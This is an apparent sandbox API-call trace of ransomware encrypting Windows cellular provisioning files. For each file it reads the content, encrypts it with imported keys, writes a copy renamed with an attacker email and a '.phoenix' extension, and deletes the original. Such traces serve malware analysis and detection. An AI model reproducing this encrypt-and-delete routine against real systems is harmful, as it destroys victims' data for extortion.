	[0247.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.551] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.551] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0247.551] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.551] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.551] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4
	[0247.552] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0247.552] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.552] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x363, lpOverlapped=0x0) returned 1
	[0247.589] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370, dwBufLen=0x370 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x370) returned 1
	[0247.589] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x370, lpOverlapped=0x0) returned 1
	[0247.592] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0247.592] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.593] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.593] CryptDestroyKey (hKey=0x151080) returned 1
	[0247.593] WriteFile (in: hFile=0x2b4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.593] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0247.593] CloseHandle (hObject=0x2f0) returned 1
	[0247.593] CloseHandle (hObject=0x2b4) returned 1
	[0247.593] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\31__Connections_Cellular_T-Mobile M2M (Austria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\31__connections_cellular_t-mobile m2m (austria)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.600] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.600] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0247.605] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=726) returned 1
	[0247.605] CloseHandle (hObject=0x2b0) returned 1
	[0247.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.608] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.608] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.608] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.608] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.612] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151440) returned 1
	[0247.612] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.612] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2d6, lpOverlapped=0x0) returned 1
	[0247.632] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2e0) returned 1
	[0247.632] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2e0, lpOverlapped=0x0) returned 1
	[0247.634] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151680) returned 1
	[0247.634] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.634] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.634] CryptDestroyKey (hKey=0x151680) returned 1
	[0247.634] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.634] CryptDestroyKey (hKey=0x151440) returned 1
	[0247.634] CloseHandle (hObject=0x2c4) returned 1
	[0247.634] CloseHandle (hObject=0x2e8) returned 1
	[0247.635] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\322__Connections_Cellular_Telefonica (Panama)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\322__connections_cellular_telefonica (panama)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.636] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.636] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.636] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=702) returned 1
	[0247.636] CloseHandle (hObject=0x2e8) returned 1
	[0247.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.637] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.637] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.637] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.637] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.637] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.638] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151680) returned 1
	[0247.638] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.638] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2be, lpOverlapped=0x0) returned 1
	[0247.663] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2c0) returned 1
	[0247.663] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2c0, lpOverlapped=0x0) returned 1
	[0247.664] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151640) returned 1
	[0247.664] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.664] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.664] CryptDestroyKey (hKey=0x151640) returned 1
	[0247.664] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.665] CryptDestroyKey (hKey=0x151680) returned 1
	[0247.665] CloseHandle (hObject=0x2e8) returned 1
	[0247.665] CloseHandle (hObject=0x2c4) returned 1
	[0247.665] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\323__Connections_Cellular_Claro (Paraguay)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\323__connections_cellular_claro (paraguay)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.666] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.666] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.666] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=713) returned 1
	[0247.666] CloseHandle (hObject=0x2c4) returned 1
	[0247.666] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0247.667] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.667] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0247.667] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.667] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.667] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.667] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151280) returned 1
	[0247.667] CryptSetKeyParam (hKey=0x151280, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.668] ReadFile (in: hFile=0x2c4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x2c9, lpOverlapped=0x0) returned 1
	[0247.685] CryptEncrypt (in: hKey=0x151280, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x2d0) returned 1
	[0247.685] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x2d0, lpOverlapped=0x0) returned 1
	[0247.686] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x1510c0) returned 1
	[0247.686] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0247.686] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0, dwBufLen=0xb0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0xb0) returned 1
	[0247.687] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0247.687] WriteFile (in: hFile=0x2e8, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x162, lpOverlapped=0x0) returned 1
	[0247.687] CryptDestroyKey (hKey=0x151280) returned 1
	[0247.687] CloseHandle (hObject=0x2c4) returned 1
	[0247.687] CloseHandle (hObject=0x2e8) returned 1
	[0247.687] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\326__Connections_Cellular_Telefonica (Peru)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\326__connections_cellular_telefonica (peru)_i0$(__mvid)@wap.provxml")) returned 1
	[0247.688] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0247.688] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.689] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=654) returned 1
	[0247.689] CloseHandle (hObject=0x2e8) returned 1
	[0247.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0247.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0247.689] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\328__Connections_Cellular_Globe (Philippines)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\328__connections_cellular_globe (philippines)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0247.689] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0247.689] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
